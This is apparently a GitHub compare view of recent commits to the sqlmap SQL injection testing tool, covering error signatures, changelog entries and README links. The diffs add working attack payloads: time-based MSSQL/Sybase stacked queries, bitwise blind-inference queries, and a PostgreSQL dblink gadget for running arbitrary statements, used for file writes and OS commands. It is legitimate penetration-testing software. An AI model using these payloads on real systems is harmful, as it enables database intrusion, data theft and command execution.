Compare commits

...
58 Commits
Author SHA1 Message Date
Miroslav Štampar 863ff6e0e5 Salvaging (and verified) what's useful from #6103 2026-09-02 07:42:40 +02:00
Miroslav Štampar 1192d266c8 Update related to the #6099 2026-08-28 09:44:22 +02:00
Miroslav Štampar 0a35b20e39 Update related to the #6098 2026-08-26 13:46:08 +02:00
Miroslav Štampar a184c89a6b Minor patch for multiple-dbms tags 2026-08-23 17:35:54 +02:00
Miroslav Štampar 91239a3c10 Minor patch 2026-08-23 17:12:19 +02:00
Miroslav Štampar 0ee19bdf3d Minor patch 2026-08-22 23:02:58 +02:00
Miroslav Štampar cef41c7fa2 Adding semicolon-less MSSQL stacked-query detection payloads 2026-08-18 14:49:23 +02:00
Miroslav Štampar 973ab5ab88 Probe actual gadget executability instead of extension presence (avoids false success as non-superuser) 2026-08-18 12:04:51 +02:00
Miroslav Štampar d424016742 Update of CHANGELOG 2026-08-18 11:53:51 +02:00
Miroslav Štampar bec4dedbc9 Enabling PostgreSQL file write over a gadget when stacked queries are unavailable 2026-08-18 11:45:44 +02:00
Miroslav Štampar 529fc7aebb Adding gadget fallback for non-query statement execution without stacked queries (PostgreSQL dblink) 2026-08-18 11:35:54 +02:00
Miroslav Štampar 8a3b312950 Implementing file read/write support for SQLite (fileio extension) 2026-08-18 11:07:00 +02:00
Miroslav Štampar 774c044519 Extending --procs with routine data-access and security type 2026-08-18 10:50:44 +02:00
Miroslav Štampar 848ba68ccf Couple of fixes 2026-08-17 22:20:42 +02:00
Miroslav Štampar 77ee160875 Fixing CI/CD errors 2026-08-17 16:52:00 +02:00
Miroslav Štampar 49a774035f Fixing some of WAF bypass bugs 2026-08-17 16:41:49 +02:00
Miroslav Štampar dc42edc19f Improving the auto WAF bypass feature 2026-08-17 15:24:18 +02:00
Miroslav Štampar 0ba9df2589 Adding new tamper scripts 2026-08-17 14:28:48 +02:00
Miroslav Štampar cbe892410c Adding more WAF friendly fingerprinting payloads 2026-08-17 14:25:46 +02:00
Miroslav Štampar 76ddd7a1b9 Fixes #6097 2026-08-16 23:52:22 +02:00
Miroslav Štampar 9f798873c4 Fixing CI/CD errors 2026-08-16 23:16:16 +02:00
Miroslav Štampar bdf3e09315 Adding support for multi-bit boolean extraction 2026-08-16 23:11:49 +02:00
Miroslav Štampar 99367454c5 Adding a research link to READMEs 2026-08-16 00:17:28 +02:00
Miroslav Štampar 6770b2847b Refresh of tamper docu 2026-08-14 23:21:00 +02:00
Miroslav Štampar 319910ccd8 Adding two new tamper scripts 2026-08-14 22:56:50 +02:00
Miroslav Štampar ebf4b48337 Fixing CI/CD errors 2026-08-13 19:27:32 +02:00
Miroslav Štampar 92c2ee47ea Adding support for Sybase into dbwire 2026-08-13 14:41:00 +02:00
Miroslav Štampar 58d6f740b7 Some more patching of dbwire 2026-08-13 13:26:55 +02:00
Miroslav Štampar e9f8180614 Some patching of dbwire 2026-08-13 13:01:43 +02:00
Miroslav Štampar d8dbaee0df Fixing CI/CD errors 2026-08-12 00:17:57 +02:00
Miroslav Štampar b154f084e0 Minor update 2026-08-11 23:37:53 +02:00
Miroslav Štampar e11ea65230 Minor patch 2026-08-11 23:13:20 +02:00
Miroslav Štampar 90b14df46c Minor update 2026-08-11 23:07:22 +02:00
Miroslav Štampar 53411f6fd8 Minor patch 2026-08-11 22:56:35 +02:00
Miroslav Štampar 08b986d40c Faster --odata 2026-08-11 22:43:40 +02:00
Miroslav Štampar d6370a681b Fixes #6096 2026-08-11 13:40:57 +02:00
Miroslav Štampar f9a45c6755 Patch related to #6093 2026-08-10 13:42:38 +02:00
Miroslav Štampar 3d1258d57d Patch related to #6092 2026-08-10 11:17:04 +02:00
Miroslav Štampar dd57fd91e2 Adding switches --odata and --sparql 2026-08-09 11:04:44 +02:00
Miroslav Štampar fb5339d783 Fixing CI/CD errors 2026-08-08 08:27:00 +02:00
Miroslav Štampar bbe164a7f3 Better heuristics for non-SQLi techniques 2026-08-08 02:14:34 +02:00
Miroslav Štampar a8b1bb371d Bug fix (kb.chars generation collision) 2026-08-08 01:27:24 +02:00
Miroslav Štampar 7d2c33cd32 Minor patch 2026-08-08 01:07:07 +02:00
Miroslav Štampar aa8d9b9841 Patching non-SQLi techniques regarding reflective values 2026-08-08 00:55:37 +02:00
Miroslav Štampar 61ffadb487 Minor update 2026-08-08 00:46:19 +02:00
Miroslav Štampar 881d2e8f90 Adding switch --xslt 2026-08-08 00:37:32 +02:00
Miroslav Štampar 2726807871 Adding tests for dbwire 2026-08-07 18:34:07 +02:00
Miroslav Štampar be881ea65e Stabilization of dbwire 2026-08-07 18:33:51 +02:00
Miroslav Štampar 6acc970801 Improved mechanism for --proof 2026-08-07 17:04:32 +02:00
Miroslav Štampar be128473d5 Update of CHANGELOG progress 2026-08-07 14:55:31 +02:00
Miroslav Štampar 7b8bf447a0 Stabilization of --timeless 2026-08-07 13:13:48 +02:00
Miroslav Štampar 776643e3bd Stabilization of http2.py module 2026-08-06 21:38:26 +02:00
Miroslav Štampar fc503ee8d5 Minor update of doctest 2026-08-04 23:38:10 +02:00
Miroslav Štampar ede662eca6 Minor patch 2026-08-04 23:12:27 +02:00
Miroslav Štampar dbe2734b71 Minor update 2026-08-04 23:02:00 +02:00
Miroslav Štampar a9f5d30b4a Minor patch 2026-08-04 22:58:19 +02:00
Miroslav Štampar 96fec6864e Minor patch 2026-08-04 22:46:04 +02:00
Miroslav Štampar fca694c327 Fixing CI/CD errors 2026-08-04 17:18:24 +02:00
155 changed files with 12527 additions and 1396 deletions
+1
View File
@@ -17,3 +17,4 @@ thirdparty/.DS_Store
CLAUDE.md CLAUDE.md
.coverage .coverage
.codegraph/ .codegraph/
.claude/
+1
View File
@@ -48,6 +48,7 @@ Links
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Demos: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Playground: https://sekumart.sekuripy.hr * Playground: https://sekumart.sekuripy.hr
* Research: https://www.sekuripy.hr/labs/sqlmap/#research
* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
Translations Translations
+13
View File
@@ -2,6 +2,9 @@
<root> <root>
<dbms value="MySQL"> <dbms value="MySQL">
<error regexp="org\.apache\.doris\." fork="Doris"/>
<error regexp="com\.starrocks\." fork="StarRocks"/>
<error regexp="Getting syntax error (at|from) line \d+, column \d+" fork="StarRocks"/>
<error regexp="SQL syntax.*?MySQL"/> <error regexp="SQL syntax.*?MySQL"/>
<error regexp="Warning.*?\Wmysqli?_"/> <error regexp="Warning.*?\Wmysqli?_"/>
<error regexp="MySQLSyntaxErrorException"/> <error regexp="MySQLSyntaxErrorException"/>
@@ -24,6 +27,15 @@
</dbms> </dbms>
<dbms value="PostgreSQL"> <dbms value="PostgreSQL">
<error regexp="crdb_internal\." fork="CockroachDB"/>
<error regexp="github\.com/cockroachdb/cockroach/pkg/sql" fork="CockroachDB"/>
<error regexp="com\.yugabyte\.(util\.PSQLException|core\.v3)" fork="YugabyteDB"/>
<error regexp="\(yb/\w+/\w+\.cc:\d+\)" fork="YugabyteDB"/>
<error regexp="org\.opengauss\.(util\.PSQLException|core\.v3)" fork="OpenGauss"/>
<error regexp="(duckdb\.duckdb|_duckdb)\.(Parser|Binder|Catalog|Conversion)Exception" fork="DuckDB"/>
<error regexp="org\.duckdb\.DuckDB" fork="DuckDB"/>
<error regexp="Parser Error: [^\n]{0,40}at or near" fork="DuckDB"/>
<error regexp="(Catalog Error: Table with name|Binder Error: Referenced column)" fork="DuckDB"/>
<error regexp="PostgreSQL.*?ERROR"/> <error regexp="PostgreSQL.*?ERROR"/>
<error regexp="Warning.*?\Wpg_"/> <error regexp="Warning.*?\Wpg_"/>
<error regexp="valid PostgreSQL result"/> <error regexp="valid PostgreSQL result"/>
@@ -203,6 +215,7 @@
</dbms> </dbms>
<dbms value="Presto"> <dbms value="Presto">
<error regexp="io\.trino\.(jdbc|spi)\." fork="Trino"/>
<error regexp="com\.facebook\.presto\.jdbc"/> <error regexp="com\.facebook\.presto\.jdbc"/>
<error regexp="io\.prestosql\.jdbc"/> <error regexp="io\.prestosql\.jdbc"/>
<error regexp="com\.simba\.presto\.jdbc"/> <error regexp="com\.simba\.presto\.jdbc"/>
+42
View File
@@ -328,6 +328,48 @@
</details> </details>
</test> </test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries (no semicolon)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector> IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'</vector>
<request>
<payload> WAITFOR DELAY '0:0:[SLEEPTIME]'</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<test>
<title>Microsoft SQL Server/Sybase stacked queries (DECLARE - no semicolon)</title>
<stype>4</stype>
<level>5</level>
<risk>1</risk>
<clause>1-8</clause>
<where>1</where>
<vector> DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] IF([INFERENCE]) WAITFOR DELAY @x</vector>
<request>
<payload> DECLARE @x CHAR(9) SET @x=0x303a303a3[SLEEPTIME] WAITFOR DELAY @x</payload>
<comment>--</comment>
</request>
<response>
<time>[SLEEPTIME]</time>
</response>
<details>
<dbms>Microsoft SQL Server</dbms>
<dbms>Sybase</dbms>
</details>
</test>
<test> <test>
<title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title> <title>Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)</title>
<stype>4</stype> <stype>4</stype>
+25 -6
View File
@@ -20,6 +20,9 @@
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/> <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="HEX(%s)"/> <hex query="HEX(%s)"/>
<inference query="ORD(MID((%s),%d,1))>%d"/> <inference query="ORD(MID((%s),%d,1))>%d"/>
<bitmap query="((ORD(MID((%s),1+FLOOR((%s-%s)/%s),1))&gt;&gt;MOD(%s-%s,%s))&amp;1)=1"/>
<bitchar query="((ORD(MID((%s),%s,1))&gt;&gt;(%s))&amp;1)=1"/>
<bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
<banner query="VERSION()"/> <banner query="VERSION()"/>
<current_user query="CURRENT_USER()"/> <current_user query="CURRENT_USER()"/>
<current_db query="DATABASE()"/> <current_db query="DATABASE()"/>
@@ -48,8 +51,8 @@
<blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/> <blind query="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST ORDER BY ID LIMIT %d,1" query2="SELECT INFO FROM INFORMATION_SCHEMA.PROCESSLIST WHERE ID=%d" query3="SELECT ID FROM INFORMATION_SCHEMA.PROCESSLIST LIMIT %d,1" count="SELECT COUNT(DISTINCT(INFO)) FROM INFORMATION_SCHEMA.PROCESSLIST"/>
</statements> </statements>
<procedures> <procedures>
<inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/> <inband query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'/',SQL_DATA_ACCESS,'/',SECURITY_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
<blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/> <blind query="SELECT CONCAT(ROUTINE_NAME,' [',ROUTINE_TYPE,'/',SQL_DATA_ACCESS,'/',SECURITY_TYPE,'] ',IFNULL(ROUTINE_DEFINITION,'')) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema') ORDER BY ROUTINE_SCHEMA,ROUTINE_NAME LIMIT %d,1" count="SELECT COUNT(*) FROM INFORMATION_SCHEMA.ROUTINES WHERE ROUTINE_SCHEMA NOT IN ('mysql','sys','information_schema','performance_schema')"/>
</procedures> </procedures>
<dbs> <dbs>
<inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/> <inband query="SELECT schema_name FROM INFORMATION_SCHEMA.SCHEMATA" query2="SELECT db FROM mysql.db"/>
@@ -101,6 +104,9 @@
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/> <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
<hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/> <hex query="ENCODE(CONVERT_TO((%s),'UTF8'),'HEX')"/>
<inference query="ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d"/> <inference query="ASCII(SUBSTRING((%s)::text FROM %d FOR 1))>%d"/>
<bitmap query="((ASCII(SUBSTRING((%s)::text FROM (1+FLOOR((%s-%s)/%s))::int FOR 1))&gt;&gt;((%s-%s)%%%s))&amp;1)=1"/>
<bitchar query="((ASCII(SUBSTRING((%s)::text FROM (%s)::int FOR 1))&gt;&gt;(%s))&amp;1)=1"/>
<bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
<banner query="VERSION()"/> <banner query="VERSION()"/>
<current_user query="CURRENT_USER"/> <current_user query="CURRENT_USER"/>
<current_db query="CURRENT_SCHEMA()"/> <current_db query="CURRENT_SCHEMA()"/>
@@ -128,9 +134,13 @@
<blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/> <blind query="SELECT DISTINCT(query) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;' OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(query)) FROM pg_stat_activity WHERE query != '&lt;IDLE&gt;'"/>
</statements> </statements>
<procedures> <procedures>
<inband query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/> <inband query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
<blind query="SELECT n.nspname||'.'||p.proname||': '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/> <blind query="SELECT n.nspname||'.'||p.proname||' ['||(CASE p.provolatile WHEN 'v' THEN 'VOLATILE' WHEN 's' THEN 'STABLE' ELSE 'IMMUTABLE' END)||(CASE WHEN p.prosecdef THEN '/DEFINER' ELSE '/INVOKER' END)||']: '||p.prosrc FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema') ORDER BY n.nspname,p.proname OFFSET %d LIMIT 1" count="SELECT COUNT(*) FROM pg_proc p JOIN pg_namespace n ON p.pronamespace=n.oid WHERE n.nspname NOT IN ('pg_catalog','information_schema')"/>
</procedures> </procedures>
<gadgets>
<!-- Out-of-technique statement execution when stacked queries are not available (e.g. WHERE clause injection). The '%s' placeholder receives the hex-encoded statement, rebuilt server-side to survive string escaping. -->
<dblink check="(SELECT dblink_exec('dbname='||current_database(),'RESET application_name') IS NOT NULL)" command="(SELECT LENGTH(dblink_exec('dbname='||current_database(),CONVERT_FROM(DECODE('%s','hex'),'UTF8'))))"/>
</gadgets>
<dbs> <dbs>
<inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/> <inband query="SELECT DISTINCT(schemaname) FROM pg_tables"/>
<blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/> <blind query="SELECT DISTINCT(schemaname) FROM pg_tables ORDER BY schemaname OFFSET %d LIMIT 1" count="SELECT COUNT(DISTINCT(schemaname)) FROM pg_tables"/>
@@ -180,6 +190,9 @@
<case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/> <case query="SELECT (CASE WHEN (%s) THEN '1' ELSE '0' END)"/>
<hex query="master.dbo.fn_varbintohexstr(CAST(%s AS VARBINARY(8000)))"/> <hex query="master.dbo.fn_varbintohexstr(CAST(%s AS VARBINARY(8000)))"/>
<inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/> <inference query="UNICODE(SUBSTRING((%s),%d,1))>%d"/>
<bitmap query="((UNICODE(SUBSTRING((%s),1+((%s-%s)/%s),1))/POWER(2,((%s-%s)%%%s)))%%2)=1"/>
<bitchar query="((UNICODE(SUBSTRING((%s),%s,1))/POWER(2,(%s)))%%2)=1"/>
<bitcol query="((%s/POWER(2,%s))%%2)=1"/>
<banner query="SELECT @@VERSION"/> <banner query="SELECT @@VERSION"/>
<current_user query="SELECT SYSTEM_USER"/> <current_user query="SELECT SYSTEM_USER"/>
<current_db query="SELECT DB_NAME()"/> <current_db query="SELECT DB_NAME()"/>
@@ -260,6 +273,9 @@
NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php) NOTE: ASCIISTR (https://www.techonthenet.com/oracle/functions/asciistr.php)
--> -->
<inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/> <inference query="ASCII(SUBSTRC((%s),%d,1))>%d"/>
<bitmap query="(BITAND(ASCII(SUBSTRC((%s),1+FLOOR((%s-%s)/%s),1)),POWER(2,MOD(%s-%s,%s)))&gt;0)"/>
<bitchar query="(BITAND(ASCII(SUBSTRC((%s),%s,1)),POWER(2,(%s)))&gt;0)"/>
<bitcol query="BITAND(%s,POWER(2,%s))&gt;0"/>
<banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/> <banner query="SELECT banner FROM v$version WHERE ROWNUM=1"/>
<current_user query="SELECT USER FROM DUAL"/> <current_user query="SELECT USER FROM DUAL"/>
<!-- <!--
@@ -360,6 +376,9 @@
<case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/> <case query="SELECT (CASE WHEN (%s) THEN 1 ELSE 0 END)"/>
<hex query="HEX(%s)"/> <hex query="HEX(%s)"/>
<inference query="SUBSTR((%s),%d,1)>'%c'"/> <inference query="SUBSTR((%s),%d,1)>'%c'"/>
<bitmap query="((UNICODE(SUBSTR((%s),1+((%s-%s)/%s),1))&gt;&gt;((%s-%s)%%%s))&amp;1)=1"/>
<bitchar query="((UNICODE(SUBSTR((%s),%s,1))&gt;&gt;(%s))&amp;1)=1"/>
<bitcol query="((%s&gt;&gt;%s)&amp;1)=1"/>
<banner query="SELECT SQLITE_VERSION()"/> <banner query="SELECT SQLITE_VERSION()"/>
<current_user/> <current_user/>
<current_db/> <current_db/>
@@ -598,11 +617,11 @@
<blind/> <blind/>
</dbs> </dbs>
<tables> <tables>
<inband query="SELECT name FROM %s..sysobjects WHERE type IN ('U','V')"/> <inband query="SELECT %s..sysusers.name+'.'+%s..sysobjects.name AS name FROM %s..sysobjects,%s..sysusers WHERE %s..sysobjects.uid=%s..sysusers.uid AND %s..sysobjects.type IN ('U','V')"/>
<blind/> <blind/>
</tables> </tables>
<columns> <columns>
<inband query="SELECT %s..syscolumns.name,%s..syscolumns.usertype FROM %s..syscolumns,%s..sysobjects WHERE %s..syscolumns.id=%s..sysobjects.id AND %s..sysobjects.name='%s'" condition="[DB]..syscolumns.name"/> <inband query="SELECT %s..syscolumns.name,%s..syscolumns.usertype FROM %s..syscolumns WHERE %s..syscolumns.id=object_id('%s.%s')" condition="[DB]..syscolumns.name"/>
<blind/> <blind/>
</columns> </columns>
<dump_table> <dump_table>
+102
View File
@@ -1,3 +1,105 @@
# Version 2.0 (WIP)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.10...master)
## Injection techniques
* Added the switch `--nosql`. It tests for NoSQL injection. It also dumps the data that it finds.
* Added the switch `--xpath`. It tests for XPath injection.
* Added the switch `--ldap`. It tests for LDAP injection.
* Added the switch `--ssti`. It tests for server-side template injection. It also covers Struts2 and OGNL.
* Added the switch `--graphql`. It tests for GraphQL injection.
* Added the switch `--hql`. It tests for HQL and JPQL (Hibernate ORM) injection.
* Added the switch `--sparql`. It tests for SPARQL injection in triple stores (Apache Jena, Virtuoso, Blazegraph, GraphDB). It confirms the finding with a SPARQL-only construct and then blindly dumps the predicates and the triple objects of the default graph.
* Added the switch `--odata`. It tests for OData `$filter` injection (Microsoft OData, Apache Olingo). It confirms the finding with an OData-only function, tells the version apart, and blindly dumps the entities, including the properties that the endpoint does not return.
* Added the switch `--xslt`. It tests for XSLT injection. The engine names itself in the response. sqlmap then dumps the XML document that the stylesheet transforms. It also reads the files that the engine can reach. When the engine exposes an extension bridge (PHP `php:function` or the Xalan `java:` namespace), sqlmap reads any file through it, and with `--os-cmd` or `--os-shell` it runs operating system commands.
* Added the switch `--xxe`. It tests for XML External Entity injection. It uses in-band, error-based, and out-of-band channels.
* Added the switch `--jwt`. It examines JSON Web Tokens for weak keys and for injection in the claims.
## Speed
* Added the switch `--timeless`. It reads each blind bit from the HTTP/2 response order. It does not use a delay. sqlmap calibrates the target first, and it uses the usual time-based technique if the target is not applicable.
* Added set-membership (Huffman) retrieval for blind dumps. It needs fewer requests for each character. Use `--no-huffman` to stop it.
* Added keyset (seek) pagination for blind table dumps. Use `--no-keyset` to stop it.
* Added parallel retrieval of values in blind mode. Each thread retrieves a different value.
* Made Keep-Alive the default. Use the switch `--no-keep-alive` to stop it.
* Added the reuse of HTTP/2 connections.
* Added the switch `--lengths`. It compares the pages only by the content length.
* Made the HashDB operations faster.
* Made the tamper script `luanginxmore` much faster.
## Targets and results
* Added the option `--openapi`. It makes the list of targets from an OpenAPI or Swagger document. The options `--openapi-base` and `--openapi-tags` limit that list.
* Added the switch `--mine-params`. It finds hidden GET parameters.
* Added the switch `--proof`. It proves the exploitation of each injection point that it finds.
* Added the option `--report-json`. It writes the results of the run to a JSON file.
* Added the switch `--procs`. It retrieves the stored procedures and their source code.
* Added the option `--exclude`. It gives the databases that sqlmap must not enumerate.
* Added JSONL as a dump format.
* Added the use of sqlmap as a library.
* Added experimental support for gRPC-Web (text) requests.
* Improved the crawler. It now finds the endpoints in JavaScript files.
## Back-end DBMS
* Added support for SAP HANA.
* Added support for Snowflake.
* Added support for Google Cloud Spanner.
* Added support for DuckDB and Trino as forks.
* Added the switch `--esperanto`. It enumerates a back-end DBMS that sqlmap cannot identify.
* Added XQuery support to the switch `--xpath`. XQuery is a superset of XPath, so the same injection point gives more. On a back-end that supports it, sqlmap reads a file through `unparsed-text()`.
* Added error-based payloads for CUBRID, InterSystems Cache, Virtuoso, H2, Firebird, and Vertica.
* Added time-based payloads for CUBRID.
* Added out-of-band DNS channels for H2 and ClickHouse.
* Added PostgreSQL command execution through a PL extension.
* Added the running of non-query statements without stacked queries through a gadget. On PostgreSQL, when the `dblink` extension is present, `--sql-query`, `--file-write`, `--os-cmd`, and `--os-shell` now work from a plain (e.g. boolean-based) injection point.
* Added file read and file write support for SQLite through the `fileio` extension functions `readfile` and `writefile`.
* Added the data access and the security type of a routine to the output of `--procs` on MySQL and PostgreSQL, so a routine that runs as its definer or that modifies data stands out.
* Added the tamper scripts `blindbinary`, `dollarquote`, `infoschema2innodb`, `oraclequote`, and `sign`.
## Fewer dependencies
* Added an HTTP/2 client. It uses only the standard library.
* Added WebSocket support. It uses only the standard library.
* Added the decoding of Brotli and Zstandard responses. It uses only the standard library.
* Added Kerberos and Negotiate authentication. It uses only the standard library.
* Added NTLM authentication. This removed a deprecated third-party library.
* Rewrote the Keep-Alive handler. This removed the third-party package `keepalive`.
* Removed the third-party packages `multipart`, `odict`, and `prettyprint`.
* Replaced SocksiPy with PySocks.
## Security
* Removed all use of `pickle`. sqlmap now uses JSON for the session data and for the other serialized data.
* The REST API now requires authentication credentials.
* Put the `eval` behavior behind the environment variable `SQLMAP_UNSAFE_EVAL`.
* Put the option `--alert` behind the environment variable `SQLMAP_UNSAFE_ALERT`.
* Hardened the Brotli and the Zstandard decoders against hostile input.
## Correctness
* Made the boolean inference more reliable when the network has much jitter.
* Added automatic recovery when the page charset and the data charset do not agree.
* sqlmap now finds binary fields automatically in blind mode.
* Added support for the response code 429 (rate limit).
* Corrected the retrieval of UTF8MB4 characters from MySQL.
* Corrected the Set-Cookie behavior in redirections. Added support for domain cookies.
* sqlmap now keeps the value of an injected Host header.
* Removed the time outliers from the time statistics.
* Improved the detection of the SQL dialect of the target.
* The switch `--xpath` no longer reports an injection when the page changes only because it shows the payload again. Reflection is not proof that an expression was evaluated.
* sqlmap now makes sure that the random markers around the retrieved data are all different. Two equal markers made the error-based technique give back the wrong character.
* Made the heuristic hints of the non-SQL switches exclusive. A signature no longer matches the errors of a different engine, an ordinary SQL error, or a page that only contains the name of a template engine.
* Corrected the GraphQL validation signatures. They now match the quotes in the way that the JSON body escapes them.
* Added the error signatures of Mako and of DynamoDB. sqlmap did not recognise the errors of these two back-ends.
## Quality
* Added a unit test suite. It has more than 90 modules, and it runs on Python 2 and Python 3.
* Added pyflakes and more self-test stages to the CI/CD pipeline.
* Added `doc/ARCHITECTURE.md`.
# Version 1.10 (2026-01-01) # Version 1.10 (2026-01-01)
* [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10) * [View changes](https://github.com/sqlmapproject/sqlmap/compare/1.9...1.10)
+1
View File
@@ -66,4 +66,5 @@
* تويتر: [@sqlmap](https://x.com/sqlmap) * تويتر: [@sqlmap](https://x.com/sqlmap)
* العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * العروض التوضيحية: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* ساحة التدريب: https://sekumart.sekuripy.hr * ساحة التدريب: https://sekumart.sekuripy.hr
* الأبحاث: https://www.sekuripy.hr/labs/sqlmap/#research
* لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * لقطات الشاشة: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -48,4 +48,5 @@ sqlmap работи самостоятелно с [Python](https://www.python.or
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * Демо: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* Площадка за упражнения: https://sekumart.sekuripy.hr * Площадка за упражнения: https://sekumart.sekuripy.hr
* Изследвания: https://www.sekuripy.hr/labs/sqlmap/#research
* Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -59,5 +59,6 @@ SQLMap-এর সম্পূর্ণ ফিচার, ক্ষমতা, এ
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * ডেমো ভিডিও: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
* অনুশীলন সাইট: https://sekumart.sekuripy.hr * অনুশীলন সাইট: https://sekumart.sekuripy.hr
* গবেষণা: https://www.sekuripy.hr/labs/sqlmap/#research
* স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots * স্ক্রিনশট: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots
+1
View File
@@ -63,6 +63,7 @@ sqlmap لە دەرەوەی سندوق کاردەکات لەگەڵ [Python](https
* X: [@sqlmap](https://x.com/sqlmap) * X: [@sqlmap](https://x.com/sqlmap)
* دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos) * دیمۆ: [https://www.youtube.com/user/inquisb/videos](https://www.youtube.com/user/inquisb/videos)
